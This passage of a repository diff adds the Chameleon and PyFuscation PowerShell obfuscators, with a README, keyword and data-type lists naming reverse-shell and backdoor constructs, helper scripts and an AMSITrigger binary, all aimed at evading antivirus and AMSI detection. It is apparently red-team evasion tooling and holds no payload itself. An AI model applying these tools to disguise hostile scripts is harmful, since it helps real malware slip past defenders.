Chimera attempts several obfuscation steps, which usually requires the input to be read from a file, and stored back
|
||||
in a file again. While this is a safe approach, because each step is saved to disk (let's say there is an error at step
|
||||
n, we would still have the result of the obfuscation till n - 1), this is not really efficient. The overhead of writing
|
||||
and reading from a file at each time make the tool really slow when operating on large scripts (up to several minutes
|
||||
with the -a option).
|
||||
|
||||
Chameleon, instead, performs all obfuscation steps in memory, meaning it is extremely faster.
|
||||
|
||||
##### Portability
|
||||
|
||||
Chimera has been developed as a Bash Script, and heavily relies on common Linux utilities to accomplish the obfuscation.
|
||||
|
||||
Chameleon, on the other hand, is built with Python, meaning that you can use it wherever Python is installed.
|
||||
|
||||
##### Smart evasion checking
|
||||
|
||||
Chimera offers a function to submit scripts to VirusTotal directly. While this might be considered a useful utility,
|
||||
it will expose the obfuscated script to third party threat-intelligence, weakening the obfuscation engine.
|
||||
|
||||
To address this issue, Chameleon uses the utility [AMSITrigger][4] by [RhytmStick][5], to check if the obfuscated result will indeed
|
||||
bypass AMSI.
|
||||
|
||||
### Improvements
|
||||
|
||||
So far, we've talked about the efficiency and reliability issues of chimera, but what are the real improvements
|
||||
from an obfuscation standpoint? The techniques used by Chameleon are for the most the same as Chimera, with some improvements:
|
||||
|
||||
* "Smart" variable scope identification (function local variables will be replaced "carefully" or left untouched)
|
||||
* Random backticks insertion (not just limited to a set of strings)
|
||||
* Random case switch (not just limited to a set of strings)
|
||||
* Supports an external obfuscation mapping for functions ~~and parameters~~ (TODO)
|
||||
* Additional Base64 Encoding wrapping
|
||||
|
||||
Chameleon manages to handle function and local parameters by implementing a very minimalist PowerShell "reader", which is
|
||||
capable of distinguish three contexts:
|
||||
|
||||
* Global/Main Scope
|
||||
* In-Function Scope
|
||||
* Param() Blocks
|
||||
|
||||
The reader is still not a real parser, and relies on Dick Language to find relevant areas limits.
|
||||
|
||||
### Usage
|
||||
|
||||
Using the tool is pretty straightforward, as observable from the help:
|
||||
|
||||
```
|
||||
usage: chameleon.py [-h] [-l {0,1,2,3,4,5}] -o OUTPUT [-v] [-s] [-d] [-n] [-c] [-f] [-b] [--random-backticks] [-r] [-i] [-x] [-j] [-a] [--decimal] [--base64] [-z] [-F FUNCTION_MAPPING] [-K KEYWORDS] [-B BACKTICKS] [-t {r,d,h}] [--safe] [--verbose] [--about]
|
||||
target
|
||||
|
||||
Chameleon - PowerShell script obfuscator (Improved Python port of Chimera)
|
||||
|
||||
positional arguments:
|
||||
target Script to obfuscate
|
||||
|
||||
optional arguments:
|
||||
-h, --help show this help message and exit
|
||||
-l {0,1,2,3,4,5}, --level {0,1,2,3,4,5}
|
||||
String manipulation Level (1: MIN, 5: MAX, 0: RANDOM)
|
||||
-o OUTPUT, --output OUTPUT
|
||||
Store the payload in a file
|
||||
-v, --variables Enable variable obfuscation
|
||||
-s, --strings Enable string obfuscation
|
||||
-d, --data-types Enable data types obfuscation
|
||||
-n, --nishang Enable Nishang scripts obfuscation
|
||||
-c, --comments Enable comments obfuscation
|
||||
-f, --functions Enable functions obfuscation
|
||||
-b, --use-backticks Enable use of backticks with generated strings
|
||||
--random-backticks Enable use of backticks randomization
|
||||
-r, --random-cases Enable upper/lower randomization
|
||||
-i, --random-spaces Enable indentation randomization
|
||||
-x, --hex-ip Enable indentation randomization
|
||||
-j, --true-false-null
|
||||
Try and obfuscate $true, $false and $null (experimental)
|
||||
-a, --enable-all Enable all obfuscation types
|
||||
--decimal Convert obfuscated payload to decimal format
|
||||
--base64 Convert obfuscated payload to base64 format
|
||||
-z, --check Check the script against AMSI Trigger (@RythmStick, @rasta-mouse)
|
||||
-F FUNCTION_MAPPING, --function-mapping FUNCTION_MAPPING
|
||||
Add custom keywords to obfuscate
|
||||
-K KEYWORDS, --keywords KEYWORDS
|
||||
Add custom keywords to obfuscate
|
||||
-B BACKTICKS, --backticks BACKTICKS
|
||||
Add a list of words to backtick
|
||||
-t {r,d,h}, --randomization-type {r,d,h}
|
||||
Type of randomization (r: Random, d: Dictionary, h: Hybrid)
|
||||
--safe Reduce obfuscation of certain variables
|
||||
--verbose Enable verbose output
|
||||
--about Shows additional information about the tool
|
||||
```
|
||||
|
||||
### Notes
|
||||
|
||||
Worth saying that, even if now Chameleon is capable of obfuscate also complex scripts, it's still not comparable with
|
||||
Invoke-Obfuscation, which actually is way more mature and is also backed-up by a fully fledged parser `Management.Automation.Language.Parser`.
|
||||
|
||||
### Next steps
|
||||
|
||||
Moreover, Chameleon is still not perfect and still needs further development to increase both its accuracy and improve
|
||||
its obfuscation techniques. A non-exhaustive list of planned improvements are below:
|
||||
|
||||
* Upgrade the PowerShell reader
|
||||
* Include other encoding schemes
|
||||
* Add more obfuscation methods
|
||||
|
||||
## Contribute
|
||||
|
||||
If you want to contribute, just fork the repository. Any PR is well accepted.
|
||||
|
||||
## Credits
|
||||
|
||||
Worth saying that Chameleon would not be a thing without the work of [tokioneon_][2] on [Chimera][1], as the most of the
|
||||
obfuscation process was ported from Bash to Python (of course with some mods).
|
||||
|
||||
## References
|
||||
|
||||
* [Chimera][1]
|
||||
* [Invoke-Obfuscation][6]
|
||||
* [AMSITrigger][4]
|
||||
|
||||
[1]: https://github.com/tokyoneon/Chimera.git
|
||||
[2]: https://twitter.com/tokyoneon_
|
||||
[3]: https://github.com/tokyoneon/Chimera/tree/master/shells
|
||||
[4]: https://github.com/RythmStick/AMSITrigger
|
||||
[5]: https://github.com/RythmStick
|
||||
[6]: https://github.com/danielbohannon/Invoke-Obfuscation
|
||||
[7]: https://klezvirus.github.io/RedTeaming/AV_Evasion/BornFromAChimera/
|
||||
1
Invoke-Stealth/Resources/Chameleon/__init__.py
Normal file
1
Invoke-Stealth/Resources/Chameleon/__init__.py
Normal file
@@ -0,0 +1 @@
|
||||
# Created to allow using Chameleon as Library
|
||||
1228
Invoke-Stealth/Resources/Chameleon/chameleon.py
Normal file
1228
Invoke-Stealth/Resources/Chameleon/chameleon.py
Normal file
File diff suppressed because it is too large
Load Diff
17
Invoke-Stealth/Resources/Chameleon/config/data_types.txt
Normal file
17
Invoke-Stealth/Resources/Chameleon/config/data_types.txt
Normal file
@@ -0,0 +1,17 @@
|
||||
system.net.sockets.tcpclient
|
||||
system.io.streamwriter
|
||||
system.byte
|
||||
system.text.asciiencoding
|
||||
system.diagnostics.processstartinfo
|
||||
system.diagnostics.process
|
||||
system.text.asciiencoding
|
||||
net.sockets.tcpclient
|
||||
system.io.streamwriter
|
||||
system.net.networkinformation.ping
|
||||
psobject
|
||||
net.webclient
|
||||
system.net.httplistener
|
||||
security.principal.windowsprincipal
|
||||
system.net.ipendpoint
|
||||
text.asciiencoding
|
||||
io.streamwriter
|
||||
8
Invoke-Stealth/Resources/Chameleon/config/nishang.txt
Normal file
8
Invoke-Stealth/Resources/Chameleon/config/nishang.txt
Normal file
@@ -0,0 +1,8 @@
|
||||
Write-Verbose[^\n\}\)\(\{\;]+
|
||||
Write-Output[^\n\}\)\(\{\;]+
|
||||
Write-Warning[^\n\}\)\(\{\;]+
|
||||
,\s*Mandatory\s*=\s*\$true
|
||||
,\s*Mandatory\s*=\s*\$false
|
||||
Mandatory\s*=\s*\$true,
|
||||
Mandatory\s*=\s*\$false,
|
||||
validatepattern
|
||||
32
Invoke-Stealth/Resources/Chameleon/config/strings.txt
Normal file
32
Invoke-Stealth/Resources/Chameleon/config/strings.txt
Normal file
@@ -0,0 +1,32 @@
|
||||
obfuscat
|
||||
nishang
|
||||
payload
|
||||
virus
|
||||
malware
|
||||
hack
|
||||
reverse
|
||||
powershell
|
||||
icmp
|
||||
shell
|
||||
backdoor
|
||||
evil
|
||||
elevate
|
||||
privil
|
||||
regsitry
|
||||
script
|
||||
SanityCheck
|
||||
WindowsSanity
|
||||
execut
|
||||
scriptengine
|
||||
hidden
|
||||
bypass
|
||||
regedit.exe
|
||||
cmd.exe
|
||||
powershell.exe
|
||||
encode
|
||||
iex
|
||||
invoke-
|
||||
getstream
|
||||
new-object
|
||||
getstring
|
||||
getbytes
|
||||
15655
Invoke-Stealth/Resources/Chameleon/dictionary/food.txt
Normal file
15655
Invoke-Stealth/Resources/Chameleon/dictionary/food.txt
Normal file
File diff suppressed because it is too large
Load Diff
2
Invoke-Stealth/Resources/Chameleon/requirements.txt
Normal file
2
Invoke-Stealth/Resources/Chameleon/requirements.txt
Normal file
@@ -0,0 +1,2 @@
|
||||
colorama
|
||||
numpy
|
||||
245
Invoke-Stealth/Resources/Chameleon/tools/psmapper.py
Normal file
245
Invoke-Stealth/Resources/Chameleon/tools/psmapper.py
Normal file
@@ -0,0 +1,245 @@
|
||||
import json
|
||||
import os
|
||||
import secrets
|
||||
import string
|
||||
import sys
|
||||
import re
|
||||
from enum import Enum
|
||||
import argparse
|
||||
|
||||
|
||||
class PSContextType(Enum):
|
||||
MAIN = 0
|
||||
FUNCTION = 1
|
||||
NESTED_FUNCTION = 2
|
||||
PARAMS = 3
|
||||
COMMENTS = 4
|
||||
|
||||
|
||||
class PSContext:
|
||||
def __init__(self, name: str, ctx_type: PSContextType):
|
||||
self.last_line = 0
|
||||
self.ctx_type = ctx_type
|
||||
self.name = name
|
||||
self.content = ""
|
||||
self.brackets = 0
|
||||
self.first_line = 0
|
||||
|
||||
def open_brackets(self, nb=1):
|
||||
self.brackets += nb
|
||||
|
||||
def close_brackets(self, nb=1):
|
||||
self.brackets -= nb
|
||||
|
||||
def change_context(self, new_context):
|
||||
self.ctx_type = new_context
|
||||
|
||||
|
||||
class PSTree:
|
||||
def __init__(self, psctx: PSContext):
|
||||
self.ctx = [psctx]
|
||||
|
||||
@property
|
||||
def current(self) -> PSContext:
|
||||
if not self.is_empty():
|
||||
return self.ctx[-1]
|
||||
|
||||
@property
|
||||
def current_ctx_type(self) -> PSContextType:
|
||||
if not self.is_empty():
|
||||
return self.ctx[-1].ctx_type
|
||||
|
||||
@property
|
||||
def previous(self) -> PSContext:
|
||||
self.ctx.pop()
|
||||
return self.current
|
||||
|
||||
@property
|
||||
def balanced(self) -> bool:
|
||||
if not self.is_empty():
|
||||
return self.ctx[-1].brackets == 0
|
||||
|
||||
def is_empty(self):
|
||||
return len(self.ctx) == 0
|
||||
|
||||
def close(self):
|
||||
self.ctx.pop()
|
||||
|
||||
def add_content(self, value):
|
||||
self.current.content += f"\n{value}"
|
||||
|
||||
def open_brackets(self, nb=1):
|
||||
self.current.brackets += nb
|
||||
|
||||
def close_brackets(self, nb=1):
|
||||
self.current.brackets -= nb
|
||||
|
||||
def change_context(self, ctx_name: str, ctx_type: PSContextType):
|
||||
self.ctx.append(PSContext(ctx_name, ctx_type))
|
||||
|
||||
def extract_data(self):
|
||||
var_pattern = re.compile(r'\$[\w|_]+')
|
||||
matches = [match.group() for match in var_pattern.finditer(self.current.content)]
|
||||
_matches = list(set(matches))
|
||||
matches = []
|
||||
for e in _matches:
|
||||
if e.lower() in ["$true", "$false", "$null", "$_"]:
|
||||
continue
|
||||
matches.append(e)
|
||||
matches.sort(key=len)
|
||||
return matches[::-1]
|
||||
|
||||
def to_string(self):
|
||||
return "->".join([self.ctx[i].ctx_type.name for i in range(len(self.ctx))])
|
||||
|
||||
|
||||
def scramble(text):
|
||||
new_text = ""
|
||||
for char in text:
|
||||
if char.islower():
|
||||
new_text += secrets.choice(string.ascii_lowercase)
|
||||
else:
|
||||
new_text += char
|
||||
return new_text
|
||||
|
||||
|
||||
def replace_comments(text):
|
||||
# Get rid of <# ... #> comments
|
||||
_content = text.encode().decode(encoding="windows-1252", errors="replace")
|
||||
start = False
|
||||
matches = re.finditer(r"<#[^#]+#>", _content, re.MULTILINE)
|
||||
for _, match in enumerate(matches, start=1):
|
||||
_content = _content.replace(match.group(), "")
|
||||
|
||||
text = _content.split("\n")
|
||||
|
||||
rows = []
|
||||
for nr, row in enumerate(text, start=1):
|
||||
if row.find("<#") > -1:
|
||||
start = True
|
||||
if row.find("#>") > -1:
|
||||
start = False
|
||||
if not start:
|
||||
rows.append(row)
|
||||
|
||||
_content = "\n".join(rows)
|
||||
|
||||
# Single Line Comments
|
||||
slc_pattern = re.compile(r"#.+")
|
||||
matches = slc_pattern.finditer(_content)
|
||||
for _, match in enumerate(matches, start=1):
|
||||
_content = _content.replace(match.group(), "")
|
||||
return _content
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
parser = argparse.ArgumentParser(
|
||||
description='Chameleon PSMapper - Helper to create obfuscated function mappings'
|
||||
)
|
||||
parser.add_argument('-o', '--outfile', required=True, type=str, default=None, help='Output file')
|
||||
parser.add_argument('target', help='Target PS1 script')
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
if not os.path.isfile(args.target):
|
||||
print(f"[-] File {args.target} not found")
|
||||
sys.exit(1)
|
||||
|
||||
with open(args.target, "r") as ps:
|
||||
content = ps.read()
|
||||
|
||||
content = replace_comments(content)
|
||||
content = content.split("\n")
|
||||
|
||||
tree = PSTree(
|
||||
psctx=PSContext(name="main", ctx_type=PSContextType.MAIN)
|
||||
)
|
||||
|
||||
mapping = {}
|
||||
function = ""
|
||||
|
||||
for n, line in enumerate(content, start=1):
|
||||
state_changed = False
|
||||
see_next = False
|
||||
tree.current.current_line = n
|
||||
function_match = None
|
||||
param_match = None
|
||||
ob = 0
|
||||
cb = 0
|
||||
tree.add_content(line)
|
||||
if tree.current_ctx_type in [PSContextType.MAIN, PSContextType.FUNCTION, PSContextType.NESTED_FUNCTION]:
|
||||
function_match = re.search(r"(filter|function)\s+([\w][^\s]+)[\{\s]?", line, re.IGNORECASE)
|
||||
param_match = re.search(r"param[\s|\n|\r|\(]*\(?", line, re.IGNORECASE)
|
||||
|
||||
if function_match:
|
||||
function = function_match.groups()[1].split("(")[0]
|
||||
if function.find(":") > -1:
|
||||
function = function.split(":")[1]
|
||||
if tree.current_ctx_type == PSContextType.MAIN:
|
||||
print(f"Found new function {function} at line: {n}")
|
||||
tree.change_context(ctx_name=function, ctx_type=PSContextType.FUNCTION)
|
||||
see_next = True
|
||||
elif tree.current_ctx_type == PSContextType.FUNCTION:
|
||||
print(f"Found new nested function {function} at line: {n}")
|
||||
tree.change_context(ctx_name=function, ctx_type=PSContextType.NESTED_FUNCTION)
|
||||
see_next = True
|
||||
ob = line.count("{")
|
||||
if ob == 0:
|
||||
see_next = True
|
||||
else:
|
||||
print(f"Function starts at line: {n}")
|
||||
cb = line.count("}")
|
||||
elif param_match:
|
||||
tree.change_context(ctx_name=tree.current.name + "-param", ctx_type=PSContextType.PARAMS)
|
||||
ob = line.count("(")
|
||||
cb = line.count(")")
|
||||
if ob == 0:
|
||||
see_next = True
|
||||
else:
|
||||
print(f"Param() start at line: {n}")
|
||||
else:
|
||||
ob = line.count("{")
|
||||
cb = line.count("}")
|
||||
elif tree.current_ctx_type == PSContextType.PARAMS:
|
||||
ob = line.count("(")
|
||||
cb = line.count(")")
|
||||
if ob == 0 and cb == 0:
|
||||
see_next = True
|
||||
else:
|
||||
continue
|
||||
tree.open_brackets(nb=ob)
|
||||
tree.close_brackets(nb=cb)
|
||||
|
||||
if tree.balanced and not see_next:
|
||||
if tree.current_ctx_type == PSContextType.PARAMS:
|
||||
params = tree.extract_data()
|
||||
print(f" > Found parameters: {params}")
|
||||
mapping[function] = params
|
||||
# Close parameters context
|
||||
print(f"Param() close at line {n}")
|
||||
tree.close()
|
||||
elif tree.current_ctx_type == PSContextType.NESTED_FUNCTION:
|
||||
# Close function context
|
||||
print(f"Nested function closes at line {n}")
|
||||
tree.close()
|
||||
elif tree.current_ctx_type == PSContextType.FUNCTION:
|
||||
# Close function context
|
||||
print(f"Function closes at line {n}")
|
||||
tree.close()
|
||||
|
||||
new_mapping = {}
|
||||
for k, v in mapping.items():
|
||||
new_params = {}
|
||||
new_params["original"] = v
|
||||
new_params["repl"] = [scramble(param) for param in v]
|
||||
|
||||
new_mapping[k] = {
|
||||
"repl": scramble(k),
|
||||
"params": new_params
|
||||
}
|
||||
|
||||
with open(args.outfile, 'w') as outfile:
|
||||
json.dump(new_mapping, outfile)
|
||||
|
||||
json_formatted = json.dumps(new_mapping, indent=2)
|
||||
# print(json_formatted)
|
||||
49
Invoke-Stealth/Resources/Chameleon/tools/pstranslate.py
Normal file
49
Invoke-Stealth/Resources/Chameleon/tools/pstranslate.py
Normal file
@@ -0,0 +1,49 @@
|
||||
import json
|
||||
import os
|
||||
import sys
|
||||
import re
|
||||
import argparse
|
||||
from colorama import Fore
|
||||
|
||||
if __name__ == "__main__":
|
||||
parser = argparse.ArgumentParser(
|
||||
description='Chameleon PSTranslate - Helper to search obfuscated functions'
|
||||
)
|
||||
parser.add_argument('-f', '--function', required=True, type=str, default=None, help='Function to search')
|
||||
parser.add_argument('mapping', help='Mapping file')
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
os.system('color')
|
||||
|
||||
if not os.path.isfile(args.mapping):
|
||||
print("[-] Mapping file not found")
|
||||
sys.exit(1)
|
||||
|
||||
with open(args.mapping, "r") as ps:
|
||||
mapping = json.load(ps)
|
||||
|
||||
function = args.function
|
||||
|
||||
for k in mapping.keys():
|
||||
if re.search(function, k, re.IGNORECASE):
|
||||
|
||||
rainbow = [Fore.LIGHTBLUE_EX,
|
||||
Fore.LIGHTGREEN_EX,
|
||||
Fore.LIGHTRED_EX,
|
||||
Fore.LIGHTCYAN_EX,
|
||||
Fore.LIGHTMAGENTA_EX,
|
||||
Fore.LIGHTYELLOW_EX
|
||||
]
|
||||
|
||||
op = mapping[k]['params']['original']
|
||||
np = mapping[k]['params']['repl']
|
||||
|
||||
orig_params = ", ".join([f"{rainbow[j%5]}{op[j]}{Fore.WHITE}" for j in range(len(op))])
|
||||
new_params = ", ".join([f"{rainbow[j%5]}{np[j]}{Fore.WHITE}"for j in range(len(np))])
|
||||
|
||||
print(f"[+] Found func : {rainbow[5]}{k}{Fore.WHITE}")
|
||||
print(f" [>] Replaced by: {rainbow[5]}{mapping[k]['repl']}{Fore.WHITE}")
|
||||
print(f" [>] Original params: {orig_params}")
|
||||
print(f" [>] Obfuscated with: {new_params}")
|
||||
print()
|
||||
BIN
Invoke-Stealth/Resources/Chameleon/utils/AMSITrigger.exe
Normal file
BIN
Invoke-Stealth/Resources/Chameleon/utils/AMSITrigger.exe
Normal file
Binary file not shown.
1286
Invoke-Stealth/Resources/PSObfuscation/Invoke-PSObfuscation.ps1
Normal file
1286
Invoke-Stealth/Resources/PSObfuscation/Invoke-PSObfuscation.ps1
Normal file
File diff suppressed because it is too large
Load Diff
78
Invoke-Stealth/Resources/PyFuscation/PSconfig.ini
Normal file
78
Invoke-Stealth/Resources/PyFuscation/PSconfig.ini
Normal file
@@ -0,0 +1,78 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
[PS_Reserverd]
|
||||
|
||||
# This list is comprised of
|
||||
# Powershell - Special Variables
|
||||
# Powershell - Automatic Variables
|
||||
# Powershell - Preference Variables
|
||||
# Trial and Error ... :shrug
|
||||
|
||||
f = ['$?',
|
||||
'$^',
|
||||
'$_',
|
||||
'$accessMask',
|
||||
'$Allnodes',
|
||||
'$Args',
|
||||
'$Bitfield',
|
||||
'$Command',
|
||||
'$Constructor',
|
||||
'$Charset',
|
||||
'$ConsoleFileName',
|
||||
'$DllName',
|
||||
'$DsDomainFlag',
|
||||
'$ErrorActionPreference',
|
||||
'$Error',
|
||||
'$Error[0]',
|
||||
'$Event',
|
||||
'$EventArgs',
|
||||
'$EventSubscriber',
|
||||
'$ExecutionContext',
|
||||
'$False',
|
||||
'$ForEach',
|
||||
'$FunctionName',
|
||||
'$FunctionDefinitions',
|
||||
'$Home',
|
||||
'$Host',
|
||||
'$Input',
|
||||
'$Kernel32',
|
||||
'$LastExitCode',
|
||||
'$LogonType',
|
||||
'$Matches',
|
||||
'$MyInvocation',
|
||||
'$MarshalAs',
|
||||
'$NativeCallingConvention',
|
||||
'$NestedPromptLevel',
|
||||
'$Module',
|
||||
'$ModuleName',
|
||||
'$Namespace',
|
||||
'$NULL',
|
||||
'$OFS',
|
||||
'$Object',
|
||||
'$ParameterTypes',
|
||||
'$PermissionSet',
|
||||
'$PEInfo',
|
||||
'$PID',
|
||||
'$Profile',
|
||||
'$PSBoundParameters',
|
||||
'$PsCmdlet',
|
||||
'$PSCommandPath',
|
||||
'$PsCulture',
|
||||
'$PSDebugContext',
|
||||
'$PsHome',
|
||||
'$PSitem',
|
||||
'$PSScriptRoot',
|
||||
'$PSSenderInfo',
|
||||
'$PsUICulture',
|
||||
'$PsVersionTable',
|
||||
'$Pwd',
|
||||
'$ReturnType',
|
||||
'$Sender',
|
||||
'$SetLastError',
|
||||
'$ShellID',
|
||||
'$StackTrace',
|
||||
'$StartAddress',
|
||||
'$This',
|
||||
'$True',
|
||||
'$Value',
|
||||
'$Win32Constants']
|
||||
282
Invoke-Stealth/Resources/PyFuscation/PyFuscation.py
Normal file
282
Invoke-Stealth/Resources/PyFuscation/PyFuscation.py
Normal file
@@ -0,0 +1,282 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
'''
|
||||
|
||||
PyFuscation.py
|
||||
This python3 script obfuscates powershell function, variable and parameters in an attempt to bypass AV blacklists
|
||||
|
||||
'''
|
||||
|
||||
import re
|
||||
import os
|
||||
import sys
|
||||
import ast
|
||||
import time
|
||||
import shutil
|
||||
import random
|
||||
import subprocess
|
||||
import shlex
|
||||
import string
|
||||
from argparse import ArgumentParser
|
||||
import configparser
|
||||
import fileinput
|
||||
|
||||
def printR(out): print("\033[91m{}\033[00m" .format("[!] " + out))
|
||||
def printG(out): print("\033[92m{}\033[00m" .format("[*] " + out))
|
||||
def printY(out): print("\033[93m{}\033[00m" .format("[+] " + out))
|
||||
def printP(out): print("\033[95m{}\033[00m" .format("[-] " + out))
|
||||
|
||||
def realTimeMuxER(command):
|
||||
p = subprocess.Popen(shlex.split(command), stdout=subprocess.PIPE)
|
||||
while True:
|
||||
output = p.stdout.readline().decode()
|
||||
if output == '' and p.poll() is not None:
|
||||
break
|
||||
if output:
|
||||
print(output.strip())
|
||||
rc = p.poll()
|
||||
|
||||
def removeJunk(oF):
|
||||
# general cleanup
|
||||
cmd = "sed -i -e \'/<#/,/#>/c\\\\\' " + "'" + oF + "'"
|
||||
realTimeMuxER(cmd)
|
||||
cmd = "sed -i -e \'s/^[[:space:]]*#.*$//g\' " + "'" + oF + "'"
|
||||
realTimeMuxER(cmd)
|
||||
cmd = "sed -i \'/^$/d\' " + "'" + oF + "'"
|
||||
realTimeMuxER(cmd)
|
||||
|
||||
def useSED(DICT, oF):
|
||||
for var in DICT:
|
||||
new = str(DICT.get(var))
|
||||
cmd = "sed -i -e \'s/" + var +'\\b' + "/" + new + "/g\' " + "'" + oF + "'"
|
||||
realTimeMuxER(cmd)
|
||||
|
||||
def THEreplacER(DICT, iF, oF):
|
||||
iFHandle = open(iF, 'r')
|
||||
ofHandle = open(oF, 'w')
|
||||
regex = r'(\$\w{3,})'
|
||||
lower_DICT = list(map(lambda x:x.lower(),DICT))
|
||||
# For var replace with Dictionary value
|
||||
for line in iFHandle:
|
||||
v = re.findall(regex,line)
|
||||
if not v:
|
||||
#print("Not: " + line)
|
||||
ofHandle.write(line + "\n")
|
||||
ofHandle.flush()
|
||||
else:
|
||||
for var in v:
|
||||
if var.lower() in lower_DICT:
|
||||
new = str(DICT.get(var))
|
||||
#print("Replacing " + var + " with " + new)
|
||||
ofHandle.write(line.replace(var, new) + "\n")
|
||||
ofHandle.flush()
|
||||
else:
|
||||
#print(var)
|
||||
ofHandle.write(line + "\n")
|
||||
ofHandle.flush()
|
||||
|
||||
iFHandle.close()
|
||||
ofHandle.close()
|
||||
|
||||
def findCustomParams(iFile,oFile,VARs):
|
||||
PARAMs = {}
|
||||
READ = False
|
||||
start = 0
|
||||
end = 0
|
||||
regex = r'([\$-]\w{4,})'
|
||||
ofHandle = open(oFile, 'w')
|
||||
|
||||
with open(iFile, "r") as f:
|
||||
for line in f:
|
||||
line = line.strip()
|
||||
|
||||
if re.search(r'\bparam\b', line, re.I):
|
||||
# Ok we are at the begining of a custum parameter
|
||||
READ = True
|
||||
|
||||
# The open paren is on another line so move until we find it
|
||||
start = start + line.count('(')
|
||||
if start == 0:
|
||||
continue
|
||||
|
||||
end = end + line.count(')')
|
||||
|
||||
v = re.findall(regex,line)
|
||||
for i in v:
|
||||
if i.lower() not in lower_Reserverd and i not in PARAMs:
|
||||
# Lets check to see if this has been replaced already
|
||||
new = VARs.get(i)
|
||||
if not new:
|
||||
continue
|
||||
new = " -" + new[1:]
|
||||
old = " -" + i[1:]
|
||||
PARAMs[old] = new
|
||||
ofHandle.write("Replacing: " + old + " with: " + new + "\n")
|
||||
|
||||
# If the params are all on one line were done here
|
||||
if start != 0 and start == end:
|
||||
start = 0
|
||||
end = 0
|
||||
READ = False
|
||||
continue
|
||||
|
||||
# These are the custom parameters
|
||||
elif READ:
|
||||
v = re.findall(regex,line)
|
||||
for i in v:
|
||||
if i.lower() not in lower_Reserverd and i not in PARAMs:
|
||||
new = VARs.get(i)
|
||||
if not new:
|
||||
continue
|
||||
new = " -" + new[1:]
|
||||
old = " -" + i[1:]
|
||||
PARAMs[old] = new
|
||||
ofHandle.write("Replacing: " + old + " with: " + new + "\n")
|
||||
|
||||
start = start + line.count('(')
|
||||
end = end + line.count(')')
|
||||
if start != 0 and start == end:
|
||||
start = 0
|
||||
end = 0
|
||||
READ = False
|
||||
|
||||
# Keep moving until we have work
|
||||
else:
|
||||
continue
|
||||
|
||||
printY("Parameters Replaced : " + str(len(PARAMs)))
|
||||
|
||||
return PARAMs
|
||||
|
||||
def findVARs(iFile,lFile):
|
||||
VARs = {}
|
||||
vNum = 9999
|
||||
regex = r'(\$\w{6,})'
|
||||
ofHandle = open(lFile, 'w')
|
||||
|
||||
with open(iFile, "r") as f:
|
||||
for line in f:
|
||||
v = re.findall(regex,line)
|
||||
for i in v:
|
||||
if i in VARs:
|
||||
continue
|
||||
elif i.lower() not in lower_Reserverd:
|
||||
# Powershell vars are case insensitive
|
||||
lowerVARS = {k.lower(): v for k, v in VARs.items()}
|
||||
if i.lower() in lowerVARS:
|
||||
new = lowerVARS.get(i.lower())
|
||||
ofHandle.write("Replacing: " + i + " with: " + new + "\n")
|
||||
VARs[i] = new
|
||||
else:
|
||||
vNum = 99
|
||||
new = "$" + ''.join([random.choice(string.ascii_letters) for n in range(8)])
|
||||
VARs[i] = new + str(vNum)
|
||||
ofHandle.write("Replacing: " + i + " with: " + new + "\n")
|
||||
vNum += 1
|
||||
|
||||
# return dict of variable and their replacements
|
||||
printY("Variables Replaced : " + str(len(VARs)))
|
||||
return VARs
|
||||
|
||||
def findFUNCs(iFile,lFile):
|
||||
|
||||
FUNCs = {}
|
||||
ofHandle = open(lFile, 'w')
|
||||
with open(iFile, "r") as f:
|
||||
for line in f:
|
||||
funcMatch = re.search(r'^\s*Function ([a-zA-Z0-9_-]{6,})[\s\{]+$',line, re.IGNORECASE)
|
||||
if funcMatch and funcMatch.group(1) not in FUNCs:
|
||||
if funcMatch.group(1) == "main":
|
||||
continue
|
||||
vNum = 9999
|
||||
new = randomString(wordList)
|
||||
FUNCs[funcMatch.group(1)] = new
|
||||
ofHandle.write("Replacing: " + funcMatch.group(1) + " with: " + str(new) + "\n")
|
||||
vNum += 1
|
||||
# return dict of variable and their replacements
|
||||
printY("Functions Replaced : " + str(len(FUNCs)))
|
||||
return FUNCs
|
||||
|
||||
def randomString(iFile):
|
||||
with open(iFile, "r") as f:
|
||||
line = next(f)
|
||||
for num, aline in enumerate(f, 2):
|
||||
if random.randrange(num): continue
|
||||
line = aline
|
||||
string = ''.join(e for e in line if e.isalnum())
|
||||
return string
|
||||
|
||||
def main():
|
||||
iFile = args.script
|
||||
|
||||
printR("Obfuscating: " + iFile)
|
||||
oDir = os.getcwd() + "/Resources/PyFuscation/tmp"
|
||||
os.mkdir( oDir );
|
||||
oFile = oDir + "/" + "script.ps1"
|
||||
vFile = oDir + "/" + "vFile.ps1"
|
||||
fFile = oDir + "/" + "fFile.ps1"
|
||||
pFile = oDir + "/" + "pFile.ps1"
|
||||
shutil.copy(args.script, oFile)
|
||||
|
||||
obfuVAR = dict()
|
||||
obfuPARMS = dict()
|
||||
obfuFUNCs = dict()
|
||||
|
||||
# Remove White space and comments
|
||||
removeJunk(oFile)
|
||||
|
||||
# Obfuscate Variables
|
||||
if (args.var):
|
||||
obfuVAR = findVARs(iFile,vFile)
|
||||
useSED(obfuVAR, oFile)
|
||||
|
||||
# Obfuscate custom parameters
|
||||
if (args.par):
|
||||
obfuPARMS = findCustomParams(iFile, pFile, obfuVAR)
|
||||
useSED(obfuPARMS, oFile)
|
||||
|
||||
# Obfuscate Functions
|
||||
if (args.func):
|
||||
obfuFUNCs = findFUNCs(iFile, fFile)
|
||||
useSED(obfuFUNCs, oFile)
|
||||
|
||||
# Print the Functions
|
||||
print("")
|
||||
printP("Obfuscated Functions located : " + fFile)
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
if sys.version_info <= (3, 0):
|
||||
sys.stdout.write("This script requires Python 3.x\n")
|
||||
sys.exit(1)
|
||||
|
||||
config = configparser.ConfigParser()
|
||||
parser = ArgumentParser()
|
||||
parser.add_argument("-f", dest="func", help="Obfuscate functions", action="store_true")
|
||||
parser.add_argument("-v", dest="var", help="Obfuscate variables", action="store_true")
|
||||
parser.add_argument("-p", dest="par", help="Obfuscate parameters", action="store_true")
|
||||
parser.add_argument("--ps", dest="script", help="Obfuscate powershell")
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
# Powershell script
|
||||
if (args.script is None):
|
||||
parser.print_help()
|
||||
exit()
|
||||
else:
|
||||
# Check if the input file is valid:
|
||||
if not os.path.isfile(args.script):
|
||||
printR("Check File: " + args.script)
|
||||
